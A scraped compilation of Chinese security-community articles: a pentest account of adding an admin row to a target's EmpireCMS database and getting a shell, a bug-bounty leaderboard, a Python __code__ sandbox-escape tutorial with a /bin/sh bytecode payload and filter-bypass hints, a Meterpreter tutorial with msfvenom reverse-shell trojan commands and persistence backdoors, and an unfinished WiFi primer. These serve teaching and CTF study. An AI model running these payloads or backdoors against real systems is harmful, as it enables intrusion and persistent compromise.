于是我就想着用我刚好上周学了一周的php基础来看一下源码是通过怎么通过数据库的来验证是否是创建的账户呢。终于找到了adminfun.php的这个文件中
//认证码 在这里验证账号密码
//认证码
if($ecms_config['esafe']['loginauth']&&$ecms_config['esafe']['loginauth']!=$post['loginauth'])
{
InsertErrorLoginNum($username,$password,1,$loginip,$logintime);
printerror("ErrorLoginAuth","index.php");
}
$user_r=$empire->fetch1("select userid,password,salt,salt2,lasttime,lastip,addtime,addip,userprikey,lastipport,addipport from {$dbtbpre}enewsuser where username='".$username."' and checked=0 limit 1");
if(!$user_r['userid'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
$ch_password=DoEmpireCMSAdminPassword($password,$user_r['salt'],$user_r['salt2']);
if($user_r['password']!=$ch_password)
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
然后在下面的 //安全问答 验证enewsuseradd表的userid是否存在
//安全问答
$user_addr=$empire->fetch1("select userid,equestion,eanswer,openip,certkey from {$dbtbpre}enewsuseradd where userid='$user_r[userid]'");
if(!$user_addr['userid'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
if($user_addr['equestion'])
{
$equestion=(int)$post['equestion'];
$eanswer=$post['eanswer'];
if($user_addr['equestion']!=$equestion)
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
$ckeanswer=ReturnHLoginQuestionStr($user_r['userid'],$username,$user_addr['equestion'],$eanswer);
if($ckeanswer!=$user_addr['eanswer'])
{
InsertErrorLoginNum($username,$password,0,$loginip,$logintime);
printerror("LoginFail","index.php");
}
}
随后我看了一下确实通过后台创建的账户都有个userid，然后我用数据库的添加都没有。随后我就自己添加了个进去，果然就可以登录上后台了！！！
导出我自己创建的账号语句直接在目标站添加了进去，再在enewsuseradd的表添加了我刚刚添加的账号id，终于成功的登录上了后台！
之后就在网上找到的那些洞中一个个复现了，首先第一个就是通过备份数据来看phpinfo的信息了
获取到了phpinfo信息，再试那些能拿shell的漏洞了，但是发现其他拿shell的功能点都不见了。于是我直接在我自己搭建的环境中抓对应的包来这边修改，最后终于试到还有一个可以拿shell的点，“导入系统模型”，虽然功能点见不到，但是通过抓包改包最终还是露出了原形 | 社区文章 |
奖金和积分选的是前50名的大概情况
奖金排名情况：
[code]id 奖金 积分 税后奖金
Gr36_ 254950 7050 203960
kernel_dbg 203260 5835 162608
YYY 201520 4490 161216
A 175100 4770 140080
Z 155670 3443 124536
X 147250 4062 117800
bey0nd 136480 4717 109184
K 132880 3389 106304
凤凰师傅 125600 2055 100480
换个昵称 113850 3150 91080
安识科技_4爷 113780 6520 91024
P 96520 2938 77216
applychen 85350 1460 68280
Xs 83420 993 66736
索马里的海贼 82600 1180 66080
Ambulong 58060 2272 46448
飞扬风 49800 1576 39840
zxc 49100 1220 39280
九江墨眉网络科技有限公司 48700 2335 38960
又一城 44600 1260 35680
WW 40150 1005 32120
ko0zhi 37660 1288 30128
bigcow 37015 1129 29612
Y 36500 920 29200
子非海绵宝宝 35310 1422 28248
硬糖 33750 775 27000
断罪小学第一ADC 32050 1200 25640
komas 31600 660 25280
苏黎世 31200 510 24960
whoami 31065 1315 24852
BMa 29250 1077 23400
安恒安全研究院 28500 511 22800
Y 26000 360 20800
狼王愣愣 25100 710 20080
0ntheway 24500 600 19600
冰封 23900 758 19120
影_江苏君立华域 22050 500 17640
独自等待 21875 1158 17500
what_news 21300 447 17040
汤圆 21150 1102 16920
235 21000 360 16800
Chu 20700 480 16560
广西北斗天璇信息科技有限公司 20550 600 16440
华不再扬 20300 440 16240
272199019 20150 590 16120
悦诗风吟 20000 240 16000
doggy 19505 819 15604
fyth 18700 400 14960
qwerty 18000 280 14400
M 16800 580 13440[/code]
积分排名情况：
[code]id 奖金 积分
Gr36_ 254950 7050
安识科技_4爷 113780 6520
kernel_dbg 203260 5835
A 175100 4770
bey0nd 136480 4717
YYY 201520 4490
X 147250 4062
Z 155670 3443
K 132880 3389
换个昵称 113850 3150
P 96520 2938
九江墨眉网络科技有限公司 48700 2335
Ambulong 58060 2272
凤凰师傅 125600 2055
飞扬风 49800 1576
applychen 85350 1460
子非海绵宝宝 35310 1422
whoami 31065 1315
ko0zhi 37660 1288
又一城 44600 1260
zxc 49100 1220
断罪小学第一ADC 32050 1200
索马里的海贼 82600 1180
独自等待 21875 1158
bigcow 37015 1129
汤圆 21150 1102
BMa 29250 1077
WW 40150 1005
Xs 83420 993
Y 36500 920
Urahara 12200 901
doggy 19505 819
硬糖 33750 775
冰封 23900 758
狼王愣愣 25100 710
染血de雪 7500 670
进击的zjx 8350 669
komas 31600 660
Taylor 16275 606
0ntheway 24500 600
广西北斗天璇信息科技有限公司 20550 600
272199019 20150 590
M 16800 580
List 5765 540
M 16300 530
安恒安全研究院 28500 511
苏黎世 31200 510
7shad0w 12950 501
影_江苏君立华域 22050 500
warlock 14450 485
[/code]
有一定的误差，但是基本上大概就是这样吧。
方法是抓取2015年至今的每个月的奖金和积分排名，然后去重排序。
下面是月度前10额外奖励的总排名，月度奖励大概一个月总额有5w块左右的样子（2016.4-2016.12）。
[code]Gr36_ 41000
kernel_dbg 39000
bey0nd 32000
K 24000
A 24000
安识科技_4爷 20000
YYY 19000
X 18000
换个昵称 18000
九江墨眉网络科技有限公司 18000
Z 16500
P 16000
Ambulong 14000
索马里的海贼 12000
独自等待 8000
凤凰师傅 8000
Y 8000
又一城 7000
断罪小学第一ADC 6000
applychen 6000
Urahara 5000
安恒安全研究院 5000
硬糖 5000
WW 4000
Xs 4000
Bma 4000
飞扬风 4000
M 4000
Taylor 3000
bigcow 3000
doggy 3000
上海安识网络科技有限公司 3000
whoami 3000
ko0zhi 2000
进击的zjx 2000
狼王愣愣 2000
qwerty 1000
7shad0w 1000
komas 1000
影_江苏君立华域 1000
子非海绵宝宝 500
冰封 500
272199019 500
广西北斗天璇信息科技有限公司 500[/code] | 社区文章 |
# 探Python Opcode逃逸笔记
gamous@星盟
> 菜鸡好奇的目光看向了py
不同版本python的PyCodeObject参数数量有一定差异，但大同小异，本文在Python3.8环境下进行探索
## PyFrameObject
在Python里，一切皆对象，函数也不例外
Python虚拟机的执行环境基于PyFrameObject栈帧，一个线程有一个栈帧链，在栈帧环境中根据执行PyCodeObject对象，从中取出对应的字节码序列在执行机中执行。
栈帧构造如下
struct _frame {
PyObject_VAR_HEAD
struct _frame *f_back; /* previous frame, or NULL */
PyCodeObject *f_code; /* code segment */
PyObject *f_builtins; /* builtin symbol table (PyDictObject) */
PyObject *f_globals; /* global symbol table (PyDictObject) */
PyObject *f_locals; /* local symbol table (any mapping) */
PyObject **f_valuestack; /* points after the last local */
/* Next free slot in f_valuestack. Frame creation sets to f_valuestack.
Frame evaluation usually NULLs it, but a frame that yields sets it
to the current stack top. */
PyObject **f_stacktop;
PyObject *f_trace; /* Trace function */
char f_trace_lines; /* Emit per-line trace events? */
char f_trace_opcodes; /* Emit per-opcode trace events? */
/* Borrowed reference to a generator, or NULL */
PyObject *f_gen;
int f_lasti; /* Last instruction if called */
/* Call PyFrame_GetLineNumber() instead of reading this field
directly. As of 2.3 f_lineno is only valid when tracing is
active (i.e. when f_trace is set). At other times we use
PyCode_Addr2Line to calculate the line from the current
bytecode index. */
int f_lineno; /* Current line number */
int f_iblock; /* index in f_blockstack */
char f_executing; /* whether the frame is still executing */
PyTryBlock f_blockstack[CO_MAXBLOCKS]; /* for try and loop blocks */
PyObject *f_localsplus[1]; /* locals+stack, dynamically sized */
};
## PyCodeObject
先来看看python中CODE对象的构造
(不同版本python有一定区别，新版本加入了几个新的强制参数)
print(dir((lambda: 0).__code__))
'''
['__class__', '__delattr__', '__dir__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_kwonlyargcount', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_posonlyargcount', 'co_stacksize', 'co_varnames', 'replace']
'''
统计必要参数数量，这个地方不同版本的python会有所差异。
li = [i for i in dir((lambda: 0).__code__) if not i.startswith('__')]
len(li)
#17
去看下CPython中相关的[实现](https://github.com/python/cpython/blob/4a21e57fe55076c77b0ee454e1994ca544d09dc0/Objects/codeobject.c)
其中有关PyCode对象的新建
PyCodeObject *
PyCode_New(int argcount, int kwonlyargcount,
int nlocals, int stacksize, int flags,
PyObject *code, PyObject *consts, PyObject *names,
PyObject *varnames, PyObject *freevars, PyObject *cellvars,
PyObject *filename, PyObject *name, int firstlineno,
PyObject *lnotab)
{
return PyCode_NewWithPosOnlyArgs(argcount, 0, kwonlyargcount, nlocals,
stacksize, flags, code, consts, names,
varnames, freevars, cellvars, filename,
name, firstlineno, lnotab);
}
......
PyDoc_STRVAR(code_doc,
"code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n\
flags, codestring, constants, names, varnames, filename, name,\n\
firstlineno, lnotab[, freevars[, cellvars]])\n\
\n\
Create a code object. Not for the faint of heart.");
据此构造在python中利用类型方法构造出一个对应的`__code__`对象改写原函数对象的逻辑
def a():
if 1 == 2:
print("flag{233}")
print("Opcode of a():",a.__code__.co_code.hex())
print("CONST of a():",a.__code__.co_consts)
#打印所有参数即对应值
print("ALL of a():")
for name in dir(a.__code__):
print(name,getattr(a.__code__,name))
#构造newcode
def b():
if 1 != 2:
print("flag{233}")
print("Opcode of b():",b.__code__.co_code.hex())
code=b.__code__.co_code
newcode = type(a.__code__)
code =newcode(0,0,0,0,2,67, code,(None, 1, 2, 'flag{0w0}'),('print',),(), "", "a",1, b'\x00\x01\x08\x01')
a.__code__ = code
a()
整理一下这些参数的作用[文档](https://docs.python.org/3/reference/datamodel.html#index-56)
看文档不如看源码
//https://github.com/python/cpython/blob/master/Include/cpython/code.h
/* Bytecode object */
struct PyCodeObject {
PyObject_HEAD
int co_argcount; /* #arguments, except *args */
int co_posonlyargcount; /* #positional only arguments */
int co_kwonlyargcount; /* #keyword only arguments */
int co_nlocals; /* #local variables */
int co_stacksize; /* #entries needed for evaluation stack */
int co_flags; /* CO_..., see below */
int co_firstlineno; /* first source line number */
PyObject *co_code; /* instruction opcodes */
PyObject *co_consts; /* list (constants used) */
PyObject *co_names; /* list of strings (names used) */
PyObject *co_varnames; /* tuple of strings (local variable names) */
PyObject *co_freevars; /* tuple of strings (free variable names) */
PyObject *co_cellvars; /* tuple of strings (cell variable names) */
/* The rest aren't used in either hash or comparisons, except for co_name,
used in both. This is done to preserve the name and line number
for tracebacks and debuggers; otherwise, constant de-duplication
would collapse identical functions/lambdas defined on different lines.
*/
Py_ssize_t *co_cell2arg; /* Maps cell vars which are arguments. */
PyObject *co_filename; /* unicode (where it was loaded from) */
PyObject *co_name; /* unicode (name, for reference) */
PyObject *co_lnotab; /* string (encoding addr<->lineno mapping) See
Objects/lnotab_notes.txt for details. */
void *co_zombieframe; /* for optimization only (see frameobject.c) */
PyObject *co_weakreflist; /* to support weakrefs to code objects */
/* Scratch space for extra data relating to the code object.
Type is a void* to keep the format private in codeobject.c to force
people to go through the proper APIs. */
void *co_extra;
/* Per opcodes just-in-time cache
*
* To reduce cache size, we use indirect mapping from opcode index to
* cache object:
* cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1]
*/
// co_opcache_map is indexed by (next_instr - first_instr).
// * 0 means there is no cache for this opcode.
// * n > 0 means there is cache in co_opcache[n-1].
unsigned char *co_opcache_map;
_PyOpcache *co_opcache;
int co_opcache_flag; // used to determine when create a cache.
unsigned char co_opcache_size; // length of co_opcache.
};
整理出表格
属性 | 描述
---|---
`co_argcount` | 位置参数总数（包括仅位置参数和具有默认值的参数）
`co_posonlyargcount` | 仅位置参数（包括具有默认值的参数）的数量
`co_kwonlyargcount` | 仅关键字参数（包括具有默认值的参数）的数量
`co_nlocals` | 函数使用的局部变量的数量（包括参数）
`co_stacksize` | 所需的堆栈大小
`co_flags` | 存放着函数的组合布尔标志位([Code Objects Bit
Flags](https://docs.python.org/3/library/inspect.html#code-objects-bit-flags))
`co_code` | 二进制格式的字节码([Bytecode Instructions](Python Bytecode Instructions))
`co_consts` | 常量列表
`co_names` | 字符串列表
`co_varnames` | 包含局部变量名称的元组（以参数名称开头）
`co_filename` | 代码文件名称
`co_name` | 函数名称
`co_firstlineno` | 函数的第一行号
`co_lnotab` | 编码从字节码偏移量到行号的映射
`co_freevars`* | 包含自由变量名称的元组
`co_cellvars`* | 包含嵌套函数引用的局部变量的名称
保证参数对接能够一致不出错的前提下，可以自由修改这些参数
接下来演示另一个具有`freevars`的样例
def target(flag):
def printflag():
if flag == "":
print (flag)
return printflag
flag = target("flag{2333}")
eval(input(">"))
flag()
构造__code__对象
def a(flag):
def printflag():
if flag != "":
print (flag)
return printflag
target=a("xxx")
code="flag.__code__=type(target.__code__)({},{},{},{},{},{},bytes.fromhex('{}'),{},{},{},\'{}\',\'{}\',{},bytes.fromhex(\'{}\'),{},{})\n".format(
target.__code__.co_argcount,\
target.__code__.co_posonlyargcount,\
target.__code__.co_kwonlyargcount,\
target.__code__.co_nlocals,\
target.__code__.co_stacksize,\
target.__code__.co_flags,\
target.__code__.co_code.hex(),\
target.__code__.co_consts,\
target.__code__.co_names, \
target.__code__.co_varnames,\
target.__code__.co_filename,\
target.__code__.co_name,\
target.__code__.co_firstlineno,\
target.__code__.co_lnotab.hex(),\
target.__code__.co_freevars,\
target.__code__.co_cellvars)
print(code)
'''
result:
flag.__code__ =type(target.__code__)(0,0,0,0,2,19,bytes.fromhex('880064016b037210740088008301010064005300'),(None,'', ''),('print',),(),'newcode.py','printflag',2,bytes.fromhex('00010801'),('flag',),())
'''
py example2.py
>flag.__code__=type(target.__code__)(0,0,0,0,2,19,bytes.fromhex('880064016b037210740088008301010064005300'),(None, ''),('print',),(),'newcode.py','printflag',2,bytes.fromhex('00010801'),('flag',),())
flag{2333}
可以看到这里通过覆盖修改原函数的`__code__`对象使其成功输出了原函数域内的变量flag，此外，这里由于只接受一次输入，把这个过程压缩在一行里，也可以用一个while循环达成无限次数的输入，但有些时候也可能并没有这样一个继续交互的机会
while True: exec(input())
'''
>....
>break
'''
实际上利用`__code__`对象完全可以执行任意操作码(opcode) ，比如我们构造一个通过`os`模块`getshell`的对象
def target():
import os
os.system("/bin/sh")
...
#稍微整理得到
flag.__code__ =type(target.__code__)(0,0,0,1,3,67,bytes.fromhex('640164006c007d007c00a0016402a101010064005300'),(None, 0, '/bin/sh'),('os', 'system'),('os',),'newcode.py','target',8,bytes.fromhex('00010801'),('flag',),())
输入上面的样例就会运行shell，当然，os和system肯定是被过滤的关键词，但这里字符串形式的关键词想必大家也有各种编码和拼接的办法来绕过过滤的
当然，这样还是依赖`os`模块
不过由上面的例子我们可以理解，通过构造`__code__`，我们完全可以按自己的想法执行任意的opcode而没什么约束，从而通过opcode达成外部任意读写从而为所欲为
## Opcode操作码
python的文本源码经过ast分析与有限的优化后转化成最终的字节码，pyc文件
字节流形式的执行码称之为字节码，而每个字节码有个对应的可理解的符号形式，称其为opcode操作码，通过opcode库我们可以从opcode得到bytecode，而通过dis库，可以将byetecode转化成opcode的可阅读形式
二者关系有如汇编与二进制
>>> from opcode import opmap
>>> import dis
>>> chr(opmap['LOAD_CONST'])
'd'
>>> dis.dis('d')
1 0 LOAD_NAME 0 (d)
2 RETURN_VALUE
>>> dis.dis(bytes.fromhex('880064016b037210740088008301010064005300'))
0 LOAD_DEREF 0 (0)
#将 func.__closure__[i] (闭包变量) 取出并压入栈
2 LOAD_CONST 1 (1)
#将 co_consts[i] 压入栈
4 COMPARE_OP 3 (!=)
#根据opname进行布尔运算
6 POP_JUMP_IF_FALSE 16
#为假则跳转到第16行
8 LOAD_GLOBAL 0 (0)
#将 co_names[namei] 压入栈
10 LOAD_DEREF 0 (0)
12 CALL_FUNCTION 1
#函数调用，弹出所需参数，返回值压栈
14 POP_TOP
#弹出(丢弃)栈顶元素
16 LOAD_CONST 0 (0)
18 RETURN_VALUE
#退出栈帧
由于opcode有一百多个，直接贴 [文档](https://docs.python.org/zh-cn/3/library/dis.html#dis.Instruction)，一些常用的操作有
#### 读写指令
指令名 | 操作
---|---
LOAD_GLOBAL | 从co_names[namei]入栈
STORE_GLOBAL | 出栈到co_names[namei]
LOAD_FAST | 从co_varnames[var_num]入栈
STORE_FAST | 出栈到co_varnames[var_num]
LOAD_CONST | 从co_consts[consti]入栈
#### 控制指令
指令名 | 操作
---|---
CALL_FUNCTION | 函数调用，弹出所需参数，新栈帧，返回值压栈
RETURN_VALUE | 函数返回，退出栈帧
POP_JUMP_IF_FALSE | 当条件为假的时候跳转
JUMP_FORWARD | 直接跳转
#### 布尔运算
**COMPARE_OP**
cmp_op = ('<', '<=', '==', '!=', '>', '>=', 'in', 'not in', 'is','is not', 'exception match', 'BAD')
不同的操作码对应了不同的操作，在[Python/ceval.c](https://github.com/python/cpython/blob/b5cc2089cc354469f12eabc7ba54280e85fdd6dc/Python/ceval.c)中的switch里定义了对应的一系列虚拟机操作，构成了Python虚拟机的执行核心。
switch (opcode) {
/* BEWARE!
It is essential that any operation that fails must goto error
and that all operation that succeed call [FAST_]DISPATCH() ! */
case TARGET(NOP): {
FAST_DISPATCH();
}
case TARGET(LOAD_FAST): {
PyObject *value = GETLOCAL(oparg);
if (value == NULL) {
format_exc_check_arg(tstate, PyExc_UnboundLocalError,
UNBOUNDLOCAL_ERROR_MSG,
PyTuple_GetItem(co->co_varnames, oparg));
goto error;
}
Py_INCREF(value);
PUSH(value);
FAST_DISPATCH();
}
...
}
而具体的opcode在
[opcode.h](https://github.com/python/cpython/blob/master/Include/opcode.h)
进行了定义，可以在其中看到所有的opcode，修改调换其中字节码的值再编译即可达成混淆字节码的目的，当然，直接编译是不行的，因为opcode还在[opcode_targets.h](https://github.com/python/cpython/blob/master/Python/opcode_targets.h)与
[opcode.py](https://github.com/python/cpython/blob/master/Lib/opcode.py)
进行了定义，需要保证三者opcode定义上的一致性。
根据上述内容，我们甚至可以拓展opcode，加入一些我们自定义的花指令提高python逆向的难度，不过这不是本文讨论的重点。
## Python debug环境
### 编译debug版本python
$ git clone https://github.com/python/cpython
$ cd cpython
$ sudo apt install build-essential
$ sudo apt install libssl-dev zlib1g-dev libncurses5-dev \
libncursesw5-dev libreadline-dev libsqlite3-dev libgdbm-dev \
libdb5.3-dev libbz2-dev libexpat1-dev liblzma-dev libffi-dev
$ ./configure --with-pydebug
$ make -j2 -s
debug版本代码编译前可能需要根据具体情况做些调整
### gdb调试python
python-dbg中包含了调试符号并把libpython.py工具安装到gdb的auto-load下
sudo apt-get install gdb python-dbg
不同版本的libpython.py存放在`https://github.com/python/cpython/tree/<version>/Tools/gdb`，可以手动安装对应版本的libpython.py
安装后即可通过交互式方式从gdb启动python进程
$ gdb python
...
(gdb) run <programname>.py <arguments>
或通过快速方式
$ gdb -ex r --args python <programname>.py <arguments>
或是attach到现有进程
$ gdb python <pid of running process>
加载core file
$ gdb python core.PID
常用指令
py-bt #当前位置的调用栈
py-down #查看下层调用方的信息
py-locals #查看变量的值
py-up #查看上层调用方的信息
python-interactive
py-bt-full
py-list #当前执行位置的源码
py-print
python
准备好前置知识与调试环境，就可以在python虚拟机里愉快玩耍啦。
具体通过字节码逃逸环境的过程可以参考Anciety师傅的这篇python虚拟机逃逸文章
<https://www.anquanke.com/post/id/86366。>
## Final
由于时间与篇幅有限，对运行机制的挖掘与对沙箱的逃逸并不深入，也可能有错误，抛砖引玉，欢迎师傅们纠错与讨论。
此外，遇到的一些比较好的文档放在拓展资料里，感兴趣的师傅们可以看看。
## 拓展资料
<https://devguide.python.org/>
<https://realpython.com/cpython-source-code-guide>
<http://pbiernat.blogspot.com/2014/09/bypassing-python-sandbox-by-abusing.html>
<https://fanchao01.github.io/blog/2016/11/13/python-pycode_and_frame/>
<https://wiki.python.org/moin/DebuggingWithGdb>
<https://fedoraproject.org/wiki/Features/EasierPythonDebugging> | 社区文章 |
来自i春秋作者 [zusheng](http://bbs.ichunqiu.com/thread-10580-1-1.html?from=paper)
### 前言
熟悉Metasploit的应该对Meterpreter不陌生，作为后渗透阶段的利器，其强大之处可想而知，那么本篇文章就带大家来学习一下Meterpreter，目的在于让大家了解它的常用命令和使用方法。
### 目录
第一节 初识Meterpreter
* 1.1、什么是Meterpreter
* 1.2、Meterpreter的优点
第二节 Meterpreter中常用的Shell
* 2.1、reverse_tcp
* 2.2、reverse_http
* 2.3、reverse_https
* 2.4、bind_tcp
第三节 Meterpreter的常用命令
* 3.1、基本命令
* 3.2、文件系统命令
* 3.3、网络命令
* 3.4、系统命令
第四节 后渗透攻击模块
* 4.1、什么是后渗透攻击模块
* 4.2、后渗透攻击模块的实现原理
* 4.3、enum_drives
第五节 植入后门
* 5.1、persistence后渗透攻击模块
* 5.2、metsvc后渗透攻击模块
### 第一节 初识Meterpreter
**1.1、什么是Meterpreter**
Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpretershell的链接。Meterpretershell作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获按键信息、清除应用程序、显示远程主机的系统信息、显示远程机器的网络接口和IP地址等信息。另外Meterpreter能够躲避入侵检测系统。在远程主机上隐藏自己,它不改变系统硬盘中的文件,因此HIDS[基于主机的入侵检测系统]很难对它做出响应。此外它在运行的时候系统时间是变化的,所以跟踪它或者终止它对于一个有经验的人也会变得非常困难。最后,Meterpreter还可以简化任务创建多个会话。可以来利用这些会话进行渗透。
**1.2、Meterpreter技术优势**
Metasploit提供了各个主流平台的Meterpreter版本，包括Windows、Linux，同时支持x86、x64平台，另外，Meterpreter还提供了基于PHP和Java语言的实现。Meterpreter的工作模式是纯内存的，好处是启动隐藏，很难被杀毒软件监测到。不需要访问目标主机磁盘，所以也没什么入侵的痕迹。除上述外，Meterpreter还支持Ruby脚本形式的扩展。所以Ruby语言还很有必要。
### 第二节 Meterpreter中常用的Shell
**2.1、reverse_tcp**
这是一个基于TCP的反弹shell，下面演示Linux下反弹shell，Windows道理一样不做演示。
* Linux
使用下列命令生成一个Linux下反弹shell木马：
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.1.102 lport=4444 -f elf -o isshell
看上图，我们可以看见目录下已经成功生成木马文件isshell。然后我们给文件加上执行权限。
然后我们打开Metasploit，使用模块handler，设置payload，注意：这里设置的payload要和我们生成木马所使用的payload一样。
设置下地址和端口，我们就开始监听了。
这边运行一下我们的反弹shell木马，可以发现成功反弹回shell了。
* Windows：
msfvenom -p windows/meterpreter/reverse_tcp lhost=[你的IP] lport=[端口] -f exe -o 要生成的文件名
**2.2、reverse_http**
基于http方式的反向连接，在网速慢的情况下不稳定。
payload:/windows/meterpreter/reverse_http
**2.3、reverse_https**
基于https方式的反向连接，在网速慢的情况下不稳定。
**2.4、bind_tcp**
这是一个基于TCP的正向连接shell，因为在内网跨网段时无法连接到attack的机器，所以在内网中经常会使用，不需要设置LHOST。
使用下列命令生成木马：
msfvenom -p linux/x86/meterpreter/bind_tcp lport=4444 -f elf -o bindshell
同样道理加权限运行，不演示了。
这里注意，我们设置的IP地址和端口就是目标机的。因为这是我们主动来连接它。
### 第三节 Meterpreter的常用命令
**3.1、基本命令**
background # 让meterpreter处于后台模式
sessions -i index # 与会话进行交互，index表示第一个session
quit # 退出会话
shell # 获得控制台权限
irb # 开启ruby终端
**3.2、文件系统命令**
cat # 查看文件内容
getwd # 查看当前工作目录
upload # 上传文件到目标机上
download # 下载文件到本机上
edit # 编辑文件
search # 搜索文件
**3.3、网络命令**
ipconfig / ifconfig # 查看网络接口信息
portfwd add -l 4444 -p 3389 -r 192.168.1.102 # 端口转发，本机监听4444，把目标机3389转到本机4444
rdesktop -u Administrator -p ichunqiu 127.0.0.1:4444 #然后使用rdesktop来连接，-u 用户名 -p 密码
route # 获取路由表信息
**3.4、系统命令**
ps # 查看当前活跃进程
migrate pid # 将Meterpreter会话移植到进程数位pid的进程中
execute -H -i -f cmd.exe # 创建新进程cmd.exe，-H不可见，-i交互
getpid # 获取当前进程的pid
kill pid # 杀死进程
getuid # 查看权限
sysinfo # 查看目标机系统信息，如机器名，操作系统等
shutdown # 关机
### 第四节 后渗透攻击模块
**4.1、什么是后渗透攻击模块**
后渗透攻击模块（Post）是Metasploit
v4版本中正式引入的一种新类型的组件模块，主要支持在渗透攻击取得目标系统远程控制权之后，在受控系统中进行各式各样的后渗透攻击动作，比如获取敏感信息、进一步拓展、实施跳板攻击等。
**4.2、后渗透攻击模块的实现原理**
后渗透攻击模块是通过Ruby语言编写的，目标机上可能没有Ruby解释器吧，那么后渗透攻击模块是如何通过Meterpreter会话在目标机上执行的呢。看下来步骤：
后渗透攻击脚本由Meterpreter客户端解释 远程调用Meterpreter服务端提供的API（Meterpreter服务端即运行在目标机上的攻击载荷）
**4.3、enum_drives**
这个后渗透攻击模块是获取目标主机磁盘分区信息，我们就以这个例讲解后渗透攻击模块使用方法。
我们首先将meterpreter会话放入后台，然后搜索我们的模块。
然后使用use命令来使用模块，然后设置一下会话id，接着执行，可以发现成功获取到目标主机磁盘分区的信息。
### 第五节 植入后门
Meterpreter仅仅是在内存中驻留的Shellcode，只要目标机器重启就会丧失控制权，下面就介绍如何植入后门，维持控制。
**5.1、persistence后渗透攻击模块**
使用方法：
-X指定启动的方式为开机自启动，-i反向连接的时间间隔
然后就是监听，等待后门连接
5.2、metsvc后渗透攻击模块
metsvc后渗透攻击模块其实就是将Meterpreter以系统服务的形式安装到目标主机，它会上传三个文件：
* metsvc.dll
* metsvc-service.exe
* metsvc.exe
使用方法：
到目标机上，我们可以发现Meterpreter服务，正在开启监听并等待连接。
### 结束语
欢迎大家评论啊，如有不足或错误之处还请指出，感谢大家的支持。好多人加我QQ，加我QQ的请说明来意，不然我不会同意的，不是我多么高冷啊，主要人太多，我也不知道你是来自哪里，大家注明i春秋论坛就行了，谢谢了。
本文由i春秋学院提供：http://bbs.ichunqiu.com/thread-10580-1-1.html?from=paper
* * * | 社区文章 |
### 0x01 WiFi简介
智能手机的快速发展已将近十年左右，较之旧款的非智能手机，最大的区别应该是在于其强大的上网功能。在4G技术已经普及的今天，无奈国内的电信运营商们把移动联网流量的价格抬的让人无法深爱，加之家庭用户和企业用户对于物理网络线缆的愈发嫌弃，WiFi技术的飞速发展给大家带来了另一种畅游网络的便捷。人们已经习惯于保持手机的WiFi功能打开状态，习惯于走进一个理发店小饭馆先找找墙上哪里贴着WiFi账号密码的标签纸。但是便捷带来的不仅是使用的方便，还有常被人忽视的安全隐患。
我们先解释一下WiFi这个名词。WiFi普遍的定义是一种允许电子设备连接到一个无线局域网（WLAN）的技术，有些WiFi设置成加密状态，也有些WiFi是开放的、不需要密码即可接入的。最常见的WiFi信号来自于无线路由器，无线路由器如果本身连接到了互联网，那么它也可以被称为热点。WiFi其实就是一种把有线上网的方式转变为无线上网方式的技术，几乎现在所有的智能手机、平板电脑和笔记本电脑都具备WiFi接入功能。
WiFi技术是众多无线通信技术中的一个分支，常见的无线通信技术还包括3G/4G这类基于通信基站的移动通讯技术、蓝牙、红外线连接、NFC近场通讯、射频技术等，严格的讲“无线网”这个名词并不单指WiFi。在本系列文章中，我们主要介绍有关WiFi安全的知识，其他的无线通信技术暂不讨论。
在这里有必要特别说明，WiFi这个名词实际是代表了工业界成立于1999年的一个组织，称为Wi-Fi联盟，这个联盟致力于解决符合IEEE
802.11标准的网络通信产品生产以及设备兼容性的问题。久而久之人们习惯于用WiFi这个名词代表了无线局域网（WLAN）技术。随着科技的发展和人们对于网络的更高需求，IEEE
802.11标准衍生出来了很多的版本，为了便于大家的理解，我们列出了如下表所示的各版本基本信息：
标准说明802.11
发表于1997年，速率2Mbit/s，2.4GHz频道802.11a
发表于1999年，速率54Mbit/s，5GHz频道Q802.11b
发表于1999年，速率11Mbit/s，2.4GHz频道802.11c
符合802.11D的媒体接入控制层MAC桥接802.11d
根据多国无线电管理规定作出的调整802.11e
支持服务等级QoS802.11f
基站互连802.11g
速率54Mbit/s，2.4GHz频道802.11h
调整无线覆盖半径802.11i
补充安全与鉴权方面802.11n
多重I/O和40Mbit/s通道宽度，是a/g版本的延伸
除了表中列出的版本，IEEE
802.11还有一些改进型的技术，例如802.11g+或者802.11b+。不同的版本是针对不同的使用需求所做出的调整，对于我们目前常见使用的无线路由器或AP（无线接入点）等网络产品，IEEE
802.11b/g/n/ac版本的标准已经满足日常使用需求，并且主流无线网络设备均兼容这几个版本。为了让大家清楚直观的了解这些版本的主要区别，请看下图：
[
熟悉物理学中电磁知识的读者可能比较容易理解覆盖范围的问题，无线电频率越高，信息传输率就越高，但由此带来的电波衍射能力也就越低，因为频率越高波长越小，物理障碍能够大大衰减信号强度。在目前家庭用户的实际使用中，802.11b/g/n/ac的使用率最高，已经成为速度和可用性平衡度最高的版本。WiFi信号的这种覆盖特性决定了其应用场景，主要有家庭网络、校园网络、企业内部网络、区域范围智能设备控制网络、各类公共场所等。
前面我们说到，WiFi的这种技术实际是无线替代有线的作用，所以WiFi的网络结构与传统有线局域网的区别并不大，下图展示了WiFi网络的常见结构：[
家庭网络的结构通常没有上图所示那么复杂，但基本架构不变。上图的AP（Access
